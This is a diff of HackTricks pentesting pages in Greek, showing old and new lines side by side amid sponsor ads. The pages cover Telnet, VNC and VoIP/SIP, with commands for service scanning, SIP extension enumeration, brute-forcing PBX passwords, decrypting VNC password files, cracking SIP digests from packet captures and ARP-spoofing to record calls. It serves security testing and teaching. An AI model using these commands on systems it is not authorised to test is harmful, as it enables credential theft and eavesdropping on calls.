**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφάλειας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -17,21 +17,23 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Άμεσα διαθέσιμη ρύθμιση για αξιολόγηση ευπαθειών & δοκιμές διείσδυσης**. Εκτελέστε μια πλήρη δοκιμή από οπουδήποτε με 20+ εργαλεία & δυνατότητες που κυμαίνονται από αναγνώριση έως αναφορά. Δεν αντικαθιστούμε τους pentesters - αναπτύσσουμε προσαρμοσμένα εργαλεία, μονάδες ανίχνευσης & εκμετάλλευσης για να τους δώσουμε πίσω λίγο χρόνο για να εμβαθύνουν, να ανοίξουν κέλυφος και να διασκεδάσουν. #### Get a hacker's perspective on your web apps, network, and cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **Βασικές Πληροφορίες** ## **Basic Information**
Το Telnet είναι ένα πρωτόκολλο δικτύου που δίνει στους χρήστες έναν μη ασφαλή τρόπο πρόσβασης σε έναν υπολογιστή μέσω ενός δικτύου. Το Telnet είναι ένα πρωτόκολλο δικτύου που δίνει στους χρήστες έναν μη ασφαλή τρόπο πρόσβασης σε έναν υπολογιστή μέσω ενός δικτύου.
**Προεπιλεγμένη θύρα:** 23 **Default port:** 23
``` ```
23/tcp open telnet 23/tcp open telnet
``` ```
## **Αναγνώριση** ## **Αναγνώριση**
### **Λήψη Πανόδων** ### **Λήψη Πανό**
```bash ```bash
nc -vn <IP> 23 nc -vn <IP> 23
``` ```
@ -43,7 +45,7 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
Από το [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): Στο Πρωτόκολλο TELNET υπάρχουν διάφορες "**επιλογές**" που θα εγκριθούν και μπορεί να χρησιμοποιηθούν με τη δομή "**DO, DON'T, WILL, WON'T**" για να επιτρέψουν σε έναν χρήστη και σε έναν διακομιστή να συμφωνήσουν να χρησιμοποιήσουν ένα πιο περίπλοκο (ή ίσως απλώς διαφορετικό) σύνολο συμβάσεων για τη σύνδεση TELNET τους. Τέτοιες επιλογές θα μπορούσαν να περιλαμβάνουν την αλλαγή του συνόλου χαρακτήρων, τη λειτουργία ηχούς κ.λπ. Από το [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): Στο Πρωτόκολλο TELNET υπάρχουν διάφορες "**επιλογές**" που θα εγκριθούν και μπορεί να χρησιμοποιηθούν με τη δομή "**DO, DON'T, WILL, WON'T**" για να επιτρέψουν σε έναν χρήστη και σε έναν διακομιστή να συμφωνήσουν να χρησιμοποιήσουν ένα πιο περίπλοκο (ή ίσως απλώς διαφορετικό) σύνολο συμβάσεων για τη σύνδεση TELNET τους. Τέτοιες επιλογές θα μπορούσαν να περιλαμβάνουν την αλλαγή του συνόλου χαρακτήρων, τη λειτουργία ηχούς κ.λπ.
**Ξέρω ότι είναι δυνατό να απαριθμήσω αυτές τις επιλογές αλλά δεν ξέρω πώς, οπότε ενημέρωσέ με αν ξέρεις πώς.** **Ξέρω ότι είναι δυνατόν να απαριθμήσω αυτές τις επιλογές αλλά δεν ξέρω πώς, οπότε ενημέρωσέ με αν ξέρεις πώς.**
### [Brute force](../generic-methodologies-and-resources/brute-force.md#telnet) ### [Brute force](../generic-methodologies-and-resources/brute-force.md#telnet)
@ -87,7 +89,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Άμεσα διαθέσιμη ρύθμιση για αξιολόγηση ευπαθειών & pentesting**. Εκτελέστε μια πλήρη pentest από οπουδήποτε με 20+ εργαλεία & δυνατότητες που κυμαίνονται από αναγνώριση έως αναφορά. Δεν αντικαθιστούμε τους pentesters - αναπτύσσουμε προσαρμοσμένα εργαλεία, μονάδες ανίχνευσης & εκμετάλλευσης για να τους δώσουμε πίσω λίγο χρόνο να εμβαθύνουν, να ανοίξουν shells και να διασκεδάσουν. #### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές ιστού, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -97,7 +101,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
<details> <details>
<summary>Υποστήριξη HackTricks</summary> <summary>Υποστηρίξτε το HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)! * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -15,9 +15,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
## Basic Information ## Basic Information
**Virtual Network Computing (VNC)** είναι ένα ισχυρό σύστημα γραφικής επιφάνειας εργασίας που μοιράζεται, το οποίο χρησιμοποιεί το πρωτόκολλο **Remote Frame Buffer (RFB)** για να επιτρέπει τον απομακρυσμένο έλεγχο και τη συνεργασία με έναν άλλο υπολογιστή. Με το VNC, οι χρήστες μπορούν να αλληλεπιδρούν απρόσκοπτα με έναν απομακρυσμένο υπολογιστή μεταδίδοντας γεγονότα πληκτρολογίου και ποντικιού αμφίδρομα. Αυτό επιτρέπει την πρόσβαση σε πραγματικό χρόνο και διευκολύνει την αποτελεσματική απομακρυσμένη βοήθεια ή συνεργασία μέσω ενός δικτύου. **Η Εικονική Υπολογιστική Δικτύου (VNC)** είναι ένα ισχυρό σύστημα κοινής χρήσης γραφικών επιφάνειας εργασίας που χρησιμοποιεί το πρωτόκολλο **Remote Frame Buffer (RFB)** για να επιτρέπει τον απομακρυσμένο έλεγχο και τη συνεργασία με έναν άλλο υπολογιστή. Με το VNC, οι χρήστες μπορούν να αλληλεπιδρούν απρόσκοπτα με έναν απομακρυσμένο υπολογιστή μεταδίδοντας γεγονότα πληκτρολογίου και ποντικιού αμφίδρομα. Αυτό επιτρέπει την πρόσβαση σε πραγματικό χρόνο και διευκολύνει την αποδοτική απομακρυσμένη βοήθεια ή συνεργασία μέσω ενός δικτύου.
Το VNC συνήθως χρησιμοποιεί θύρες **5800 ή 5801 ή 5900 ή 5901.** Το VNC συνήθως χρησιμοποιεί θύρες **5800 ή 5801 ή 5900 ή 5901.**
``` ```
@ -44,7 +50,7 @@ vncviewer [-passwd passwd.txt] <IP>::5901
make make
vncpwd <vnc password file> vncpwd <vnc password file>
``` ```
Μπορείτε να το κάνετε αυτό επειδή ο κωδικός πρόσβασης που χρησιμοποιήθηκε μέσα στο 3des για την κρυπτογράφηση των απλών κωδικών πρόσβασης VNC είχε αντιστραφεί πριν από χρόνια.\ Μπορείτε να το κάνετε αυτό επειδή ο κωδικός πρόσβασης που χρησιμοποιείται μέσα στο 3des για την κρυπτογράφηση των απλών κωδικών πρόσβασης VNC έχει αντιστραφεί εδώ και χρόνια.\
Για **Windows** μπορείτε επίσης να χρησιμοποιήσετε αυτό το εργαλείο: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\ Για **Windows** μπορείτε επίσης να χρησιμοποιήσετε αυτό το εργαλείο: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
Αποθηκεύω το εργαλείο εδώ επίσης για ευκολία πρόσβασης: Αποθηκεύω το εργαλείο εδώ επίσης για ευκολία πρόσβασης:
@ -54,6 +60,12 @@ vncpwd <vnc password file>
* `port:5900 RFB` * `port:5900 RFB`
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν ενδιαφέρεστε για **καριέρα στον hacking** και να χακάρετε το μη χακάρισμα - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραφή και ομιλία στα πολωνικά_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %} {% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -1,29 +1,37 @@
# Pentesting VoIP # Pentesting VoIP
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>Υποστήριξη HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}
## VoIP Basic Information <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
Για να ξεκινήσετε να μάθετε πώς λειτουργεί το VoIP, ελέγξτε: #### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές σας, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφάλειας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## VoIP Βασικές Πληροφορίες
Για να ξεκινήσετε να μαθαίνετε πώς λειτουργεί το VoIP, ελέγξτε:
{% content-ref url="basic-voip-protocols/" %} {% content-ref url="basic-voip-protocols/" %}
[basic-voip-protocols](basic-voip-protocols/) [basic-voip-protocols](basic-voip-protocols/)
{% endcontent-ref %} {% endcontent-ref %}
## Basic Messages ## Βασικά Μηνύματα
``` ```
Request name Description RFC references Request name Description RFC references
------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------
@ -67,7 +75,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
305 Use Proxy 305 Use Proxy
380 Alternative Service 380 Alternative Service
``` ```
**4xx—Απαντήσεις Αποτυχίας Πελάτη** **4xx—Αποτυχίες Αντίκτυπου Πελάτη**
``` ```
400 Bad Request 400 Bad Request
401 Unauthorized 401 Unauthorized
@ -199,12 +207,12 @@ inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministrati
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24 sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
``` ```
* **`svmap`** από το SIPVicious (`sudo apt install sipvicious`): Θα εντοπίσει τις υπηρεσίες SIP στο υποδεικνυόμενο δίκτυο. * **`svmap`** από το SIPVicious (`sudo apt install sipvicious`): Θα εντοπίσει τις υπηρεσίες SIP στο υποδεικνυόμενο δίκτυο.
* `svmap` είναι **εύκολο να μπλοκαριστεί** επειδή χρησιμοποιεί τον User-Agent `friendly-scanner`, αλλά θα μπορούσατε να τροποποιήσετε τον κώδικα από το `/usr/share/sipvicious/sipvicious` και να τον αλλάξετε. * `svmap` είναι **εύκολο να μπλοκαριστεί** επειδή χρησιμοποιεί τον User-Agent `friendly-scanner`, αλλά μπορείτε να τροποποιήσετε τον κώδικα από το `/usr/share/sipvicious/sipvicious` και να τον αλλάξετε.
```bash ```bash
# Use --fp to fingerprint the services # Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp] svmap 10.10.0.0/24 -p 5060-5070 [--fp]
``` ```
* **`SIPPTS scan`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Η σάρωση SIPPTS είναι ένας πολύ γρήγορος σαρωτής για υπηρεσίες SIP μέσω UDP, TCP ή TLS. Χρησιμοποιεί πολλαπλές νήματα και μπορεί να σαρώσει μεγάλες περιοχές δικτύων. Επιτρέπει την εύκολη ένδειξη μιας περιοχής θυρών, τη σάρωση τόσο TCP όσο και UDP, τη χρήση άλλης μεθόδου (κατά προεπιλογή θα χρησιμοποιήσει OPTIONS) και την καθορισμένη διαφορετική User-Agent (και άλλα). * **`SIPPTS scan`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Η σάρωση SIPPTS είναι ένας πολύ γρήγορος σαρωτής για υπηρεσίες SIP μέσω UDP, TCP ή TLS. Χρησιμοποιεί πολλαπλές νήματα και μπορεί να σαρώσει μεγάλες περιοχές δικτύων. Επιτρέπει την εύκολη ένδειξη μιας περιοχής θυρών, τη σάρωση τόσο TCP όσο και UDP, τη χρήση άλλης μεθόδου (κατά προεπιλογή θα χρησιμοποιήσει OPTIONS) και τον καθορισμό διαφορετικού User-Agent (και άλλα).
```bash ```bash
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER] sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
@ -226,7 +234,7 @@ auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
* **69/UDP (TFTP)**: Ενημερώσεις υλικολογισμικού * **69/UDP (TFTP)**: Ενημερώσεις υλικολογισμικού
* **80 (HTTP) / 443 (HTTPS)**: Για τη διαχείριση της συσκευής από το διαδίκτυο * **80 (HTTP) / 443 (HTTPS)**: Για τη διαχείριση της συσκευής από το διαδίκτυο
* **389 (LDAP)**: Εναλλακτική για την αποθήκευση των πληροφοριών χρηστών * **389 (LDAP)**: Εναλλακτική αποθήκευση πληροφοριών χρηστών
* **3306 (MySQL)**: Βάση δεδομένων MySQL * **3306 (MySQL)**: Βάση δεδομένων MySQL
* **5038 (Manager)**: Επιτρέπει τη χρήση του Asterisk από άλλες πλατφόρμες * **5038 (Manager)**: Επιτρέπει τη χρήση του Asterisk από άλλες πλατφόρμες
* **5222 (XMPP)**: Μηνύματα χρησιμοποιώντας Jabber * **5222 (XMPP)**: Μηνύματα χρησιμοποιώντας Jabber
@ -252,7 +260,7 @@ sippts wssend -i 10.10.0.10 -r 443 -path /ws
Extensions σε ένα PBX (Private Branch Exchange) σύστημα αναφέρονται στους **μοναδικούς εσωτερικούς αναγνωριστικούς αριθμούς που αποδίδονται σε μεμονωμένες** τηλεφωνικές γραμμές, συσκευές ή χρήστες εντός ενός οργανισμού ή επιχείρησης. Οι extensions καθιστούν δυνατή την **αποτελεσματική δρομολόγηση κλήσεων εντός του οργανισμού**, χωρίς την ανάγκη για μεμονωμένους εξωτερικούς τηλεφωνικούς αριθμούς για κάθε χρήστη ή συσκευή. Extensions σε ένα PBX (Private Branch Exchange) σύστημα αναφέρονται στους **μοναδικούς εσωτερικούς αναγνωριστικούς αριθμούς που αποδίδονται σε μεμονωμένες** τηλεφωνικές γραμμές, συσκευές ή χρήστες εντός ενός οργανισμού ή επιχείρησης. Οι extensions καθιστούν δυνατή την **αποτελεσματική δρομολόγηση κλήσεων εντός του οργανισμού**, χωρίς την ανάγκη για μεμονωμένους εξωτερικούς τηλεφωνικούς αριθμούς για κάθε χρήστη ή συσκευή.
* **`svwar`** από το SIPVicious (`sudo apt install sipvicious`): `svwar` είναι ένας δωρεάν σαρωτής τηλεφωνικών γραμμών SIP PBX. Στην έννοια του λειτουργεί παρόμοια με τους παραδοσιακούς wardialers, **μαντεύοντας μια σειρά από extensions ή μια δεδομένη λίστα extensions**. * **`svwar`** από SIPVicious (`sudo apt install sipvicious`): `svwar` είναι ένας δωρεάν σαρωτής τηλεφωνικών γραμμών SIP PBX. Στην έννοια του λειτουργεί παρόμοια με τους παραδοσιακούς wardialers, **μαντεύοντας μια σειρά από extensions ή μια δεδομένη λίστα extensions**.
```bash ```bash
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
``` ```
@ -282,7 +290,7 @@ enumiax -v -m3 -M3 10.10.0.10
Αν το username δεν είναι το ίδιο με το extension, θα χρειαστεί να **καταλάβετε το username για να το κάνετε brute-force**. Αν το username δεν είναι το ίδιο με το extension, θα χρειαστεί να **καταλάβετε το username για να το κάνετε brute-force**.
{% endhint %} {% endhint %}
* **`svcrack`** από το SIPVicious (`sudo apt install sipvicious`): SVCrack σας επιτρέπει να σπάσετε τον κωδικό πρόσβασης για ένα συγκεκριμένο username/extension σε ένα PBX. * **`svcrack`** από το SIPVicious (`sudo apt install sipvicious`): Το SVCrack σας επιτρέπει να σπάσετε τον κωδικό πρόσβασης για ένα συγκεκριμένο username/extension σε ένα PBX.
```bash ```bash
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
@ -299,7 +307,7 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
Αν βρείτε εξοπλισμό VoIP μέσα σε ένα **Ανοιχτό Wifi δίκτυο**, θα μπορούσατε να **καταγράψετε όλες τις πληροφορίες**. Επιπλέον, αν βρίσκεστε μέσα σε ένα πιο κλειστό δίκτυο (συνδεδεμένο μέσω Ethernet ή προστατευμένου Wifi) θα μπορούσατε να εκτελέσετε **MitM επιθέσεις όπως** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) μεταξύ του **PBX και της πύλης** προκειμένου να καταγράψετε τις πληροφορίες. Αν βρείτε εξοπλισμό VoIP μέσα σε ένα **Ανοιχτό Wifi δίκτυο**, θα μπορούσατε να **καταγράψετε όλες τις πληροφορίες**. Επιπλέον, αν βρίσκεστε μέσα σε ένα πιο κλειστό δίκτυο (συνδεδεμένο μέσω Ethernet ή προστατευμένου Wifi) θα μπορούσατε να εκτελέσετε **MitM επιθέσεις όπως** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) μεταξύ του **PBX και της πύλης** προκειμένου να καταγράψετε τις πληροφορίες.
Ανάμεσα στις πληροφορίες του δικτύου, θα μπορούσατε να βρείτε **διαπιστευτήρια ιστού** για τη διαχείριση του εξοπλισμού, **επεκτάσεις** χρηστών, **όνομα χρήστη**, **διευθύνσεις IP**, ακόμη και **hashed passwords** και **πακέτα RTP** που θα μπορούσατε να αναπαράγετε για να **ακούσετε τη συνομιλία**, και άλλα. Μεταξύ των πληροφοριών του δικτύου, θα μπορούσατε να βρείτε **διαπιστευτήρια ιστού** για τη διαχείριση του εξοπλισμού, **επεκτάσεις** χρηστών, **όνομα χρήστη**, **διευθύνσεις IP**, ακόμη και **hashed κωδικούς πρόσβασης** και **πακέτα RTP** που θα μπορούσατε να αναπαράγετε για να **ακούσετε τη συνομιλία**, και άλλα.
Για να αποκτήσετε αυτές τις πληροφορίες, θα μπορούσατε να χρησιμοποιήσετε εργαλεία όπως το Wireshark, tcpdump... αλλά ένα **ειδικά δημιουργημένο εργαλείο για την καταγραφή συνομιλιών VoIP είναι** [**ucsniff**](https://github.com/Seabreg/ucsniff). Για να αποκτήσετε αυτές τις πληροφορίες, θα μπορούσατε να χρησιμοποιήσετε εργαλεία όπως το Wireshark, tcpdump... αλλά ένα **ειδικά δημιουργημένο εργαλείο για την καταγραφή συνομιλιών VoIP είναι** [**ucsniff**](https://github.com/Seabreg/ucsniff).
@ -310,14 +318,14 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
#### SIP credentials (Password Brute-Force - offline) #### SIP credentials (Password Brute-Force - offline)
[Δείτε αυτό το παράδειγμα για να κατανοήσετε καλύτερα μια **επικοινωνία SIP REGISTER**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) για να μάθετε πώς αποστέλλονται **τα διαπιστευτήρια**. [Δείτε αυτό το παράδειγμα για να κατανοήσετε καλύτερα μια **επικοινωνία SIP REGISTER**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) για να μάθετε πώς αποστέλλονται τα **διαπιστευτήρια**.
* **`sipdump`** & **`sipcrack`,** μέρος του **sipcrack** (`apt-get install sipcrack`): Αυτά τα εργαλεία μπορούν να **εξάγουν** από ένα **pcap** τις **διαπιστεύσεις digest** μέσα στο πρωτόκολλο SIP και να τις **σπάσουν**. * **`sipdump`** & **`sipcrack`,** μέρος του **sipcrack** (`apt-get install sipcrack`): Αυτά τα εργαλεία μπορούν να **εξάγουν** από ένα **pcap** τις **διαπιστεύσεις digest** μέσα στο πρωτόκολλο SIP και να τις **σπάσουν**.
```bash ```bash
sipdump -p net-capture.pcap sip-creds.txt sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt sipcrack sip-creds.txt -w dict.txt
``` ```
* **`SIPPTS dump`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS dump μπορεί να εξάγει πιστοποιήσεις digest από ένα αρχείο pcap. * **`SIPPTS dump`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS dump μπορεί να εξάγει διαπιστευτήρια αυθεντικοποίησης από ένα αρχείο pcap.
```bash ```bash
sippts dump -f capture.pcap -o data.txt sippts dump -f capture.pcap -o data.txt
``` ```
@ -332,7 +340,7 @@ sippts tshark -f capture.pcap [-filter auth]
#### DTMF κωδικοί #### DTMF κωδικοί
**Όχι μόνο τα SIP διαπιστευτήρια** μπορούν να βρεθούν στην κίνηση του δικτύου, είναι επίσης δυνατό να βρεθούν DTMF κωδικοί που χρησιμοποιούνται για παράδειγμα για την πρόσβαση στο **φωνητικό ταχυδρομείο**.\ **Όχι μόνο τα SIP διαπιστευτήρια** μπορούν να βρεθούν στην κίνηση του δικτύου, είναι επίσης δυνατό να βρεθούν DTMF κωδικοί που χρησιμοποιούνται για παράδειγμα για την πρόσβαση στο **φωνητικό ταχυδρομείο**.\
Είναι δυνατό να σταλούν αυτοί οι κωδικοί σε **INFO SIP μηνύματα**, σε **ήχο** ή μέσα σε **RTP πακέτα**. Αν οι κωδικοί είναι μέσα σε RTP πακέτα, θα μπορούσατε να κόψετε αυτό το μέρος της συνομιλίας και να χρησιμοποιήσετε το εργαλείο multimo για να τους εξάγετε: Είναι δυνατό να σταλούν αυτοί οι κωδικοί σε **INFO SIP μηνύματα**, σε **ήχο** ή μέσα σε **RTP πακέτα**. Αν οι κωδικοί είναι μέσα σε RTP πακέτα, θα μπορούσατε να κόψετε αυτό το μέρος της συνομιλίας και να χρησιμοποιήσετε το εργαλείο multimo για να τους εξαγάγετε:
```bash ```bash
multimon -a DTMF -t wac pin.wav multimon -a DTMF -t wac pin.wav
``` ```
@ -368,7 +376,7 @@ host=dynamic
### Δωρεάν Κλήσεις / Λανθασμένες Διαμορφώσεις Πλαισίου Asterisks ### Δωρεάν Κλήσεις / Λανθασμένες Διαμορφώσεις Πλαισίου Asterisks
Στο Asterisk, ένα **context** είναι ένα ονομαστικό δοχείο ή τμήμα στο σχέδιο κλήσεων που **ομαδοποιεί σχετικές επεκτάσεις, ενέργειες και κανόνες**. Το σχέδιο κλήσεων είναι το κύριο συστατικό ενός συστήματος Asterisk, καθώς καθορίζει **πώς διαχειρίζονται και δρομολογούνται οι εισερχόμενες και εξερχόμενες κλήσεις**. Τα contexts χρησιμοποιούνται για την οργάνωση του σχεδίου κλήσεων, τη διαχείριση ελέγχου πρόσβασης και την παροχή διαχωρισμού μεταξύ διαφορετικών τμημάτων του συστήματος. Στο Asterisk, ένα **context** είναι ένα ονομασμένο δοχείο ή τμήμα στο σχέδιο κλήσεων που **ομαδοποιεί σχετικές επεκτάσεις, ενέργειες και κανόνες**. Το σχέδιο κλήσεων είναι το κύριο συστατικό ενός συστήματος Asterisk, καθώς καθορίζει **πώς διαχειρίζονται και δρομολογούνται οι εισερχόμενες και εξερχόμενες κλήσεις**. Τα contexts χρησιμοποιούνται για την οργάνωση του 